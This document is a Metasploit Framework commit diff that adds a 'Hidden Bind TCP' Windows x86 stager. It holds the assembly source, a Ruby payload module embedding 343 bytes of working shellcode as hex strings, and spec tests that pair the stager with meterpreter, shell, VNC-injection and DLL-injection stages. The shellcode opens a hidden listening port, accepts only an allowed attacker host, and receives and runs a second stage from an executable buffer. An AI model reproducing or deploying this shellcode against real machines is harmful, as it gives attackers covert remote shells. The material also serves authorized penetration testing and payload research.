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Land rapid7#3394, bind_hidden_tcp stager
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‎external/source/shellcode/windows/x86/src/stager/stager_hidden_bind_tcp.asm

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;-----------------------------------------------------------------------------;
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; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
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; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
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; Version: 1.0 (27 May 2014)
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; Size: 352 bytes
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; Build: >build.py stager_hidden_bind_tcp
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;-----------------------------------------------------------------------------;
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[BITS 32]
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[ORG 0]
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cld ; Clear the direction flag.
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop ebp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_hidden_bind_tcp.asm"
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; By here we will have performed the bind_tcp connection and EDI will be our socket.
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%include "./src/block/block_recv.asm"
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; By now we will have received in the second stage into a RWX buffer and be executing it

‎modules/payloads/stagers/windows/bind_hidden_tcp.rb

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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def self.handler_type_alias
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"bind_hidden_tcp"
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end
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Hidden Bind TCP Stager',
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'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host',
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'Author' =>
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[
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'hdm', # original payload module (stager bind_tcp)
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'skape', # original payload module (stager bind_tcp)
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'sf', # original payload module (stager bind_tcp)
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'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
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],
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'License' => MSF_LICENSE,
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'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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'Convention' => 'sockedi',
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'Stager' =>
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{
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'RequiresMidstager' => false,
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'Offsets' =>
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{
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'LPORT' => [ 193, 'n' ],
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'AHOST' => [ 255, 'ADDR' ]
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},
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'Payload' =>
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# Length: 343 bytes
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"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
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"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
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"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
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"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
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"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
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"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
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"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
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"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
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"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
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"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
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"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
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"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
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"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
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"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
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"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
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"\x17\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
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"\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2\x20\x00\x53\x53\x57\x68\x94" +
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"\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
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"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
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"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
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"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
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"\x01\xc3\x29\xc6\x75\xee\xc3"
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}
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))
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register_options([
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OptAddress.new('AHOST', [true, "IP address allowed", nil])
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])
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end
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end

‎spec/modules/payloads_spec.rb

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modules_pathname: modules_pathname,
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reference_name: 'windows/x64/vncinject/reverse_tcp'
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end
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context 'windows/dllinject/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/dllinject'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/dllinject/bind_hidden_tcp'
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end
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context 'windows/meterpreter/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/meterpreter'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/meterpreter/bind_hidden_tcp'
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end
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context 'windows/patchupdllinject/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/patchupdllinject'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/patchupdllinject/bind_hidden_tcp'
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end
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context 'windows/patchupmeterpreter/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/patchupmeterpreter'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/patchupmeterpreter/bind_hidden_tcp'
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end
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context 'windows/shell/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/shell'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/shell/bind_hidden_tcp'
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end
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context 'windows/upexec/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/upexec'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/upexec/bind_hidden_tcp'
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end
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context 'windows/vncinject/bind_hidden_tcp' do
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it_should_behave_like 'payload can be instantiated',
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ancestor_reference_names: [
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'stagers/windows/bind_hidden_tcp',
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'stages/windows/vncinject'
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],
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modules_pathname: modules_pathname,
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reference_name: 'windows/vncinject/bind_hidden_tcp'
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end
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end

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